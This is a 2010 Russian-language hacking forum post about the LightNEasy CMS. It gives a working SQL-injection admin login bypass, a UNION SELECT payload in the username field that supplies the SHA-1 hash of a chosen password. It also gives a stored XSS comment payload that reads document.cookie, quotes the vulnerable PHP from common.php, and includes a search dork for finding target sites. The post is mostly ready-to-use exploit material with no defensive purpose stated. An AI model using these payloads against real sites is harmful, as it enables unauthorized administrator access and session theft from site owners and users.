Показать сообщение отдельно

  #334  
Старый 18.03.2010, 16:44
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
С нами: 8663063

Репутация: 226
По умолчанию

LightNEasy
site:http://www.lightneasy.org/index.php

magic_quotes_gps = off
Вход с полномочиями admin
Единственное, что я придумал:
login: "+union+select+1,2,'40bd001563085fc35165329ea1ff5c 5ecbdbbeef',5,5,6,7,8,9,10,11+--+
pass: 123
40bd001563085fc35165329ea1ff5c5ecbdbbeef - sha-1("123")

Уязвимый код(common.php):
PHP код:
        $result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
        if(
$row fetch_array($result)) {                    
            if(
$row['password'] == sha1($_POST['password'])) {             
                
//inserts password in cookie
                
setcookie('userpass'sha1(trim($_POST['password'])), time() + 60 60 24 30);
                
setcookie('userhandle'$_POST['handle'], time() + 60 60 24 30);
                
$_SESSION[$set['password']]="1";
                
$_SESSION['user']=$row['handle'];
                
$_SESSION['adminlevel']=$row['adminlevel'];
                
$message=$langmessage[95];
                unset(
$_GET['do']);
                
header("Location: ".$set['homepath']);
            } else
                
$message=$langmessage[96];
        } else
            
$message=$langmessage[96]; 
Activexss

http://localhost/light/LightNEasy.php?page=news

Код:
commentmessage=<script>alert(document.cookie)</script>
Уязвимый код(common.php)
PHP код:
            $_POST['commentmessage'] = str_replace($order"<br />"$_POST['commentmessage']);
            
$query="INSERT INTO ".$prefix."comments (newsid, poster, postermail, time, text) VALUES (".$_POST['newsid'].",\" ".encode($_POST['commentname'])."\", \"".encode($_POST['commentemail'])."\", ".time().", \"".encode(stripslashes($_POST['commentmessage']))."\")";
            
dbquery($query); 

Последний раз редактировалось Seravin; 18.03.2010 в 17:29.. Причина: красивее сделал=)
 
Ответить с цитированием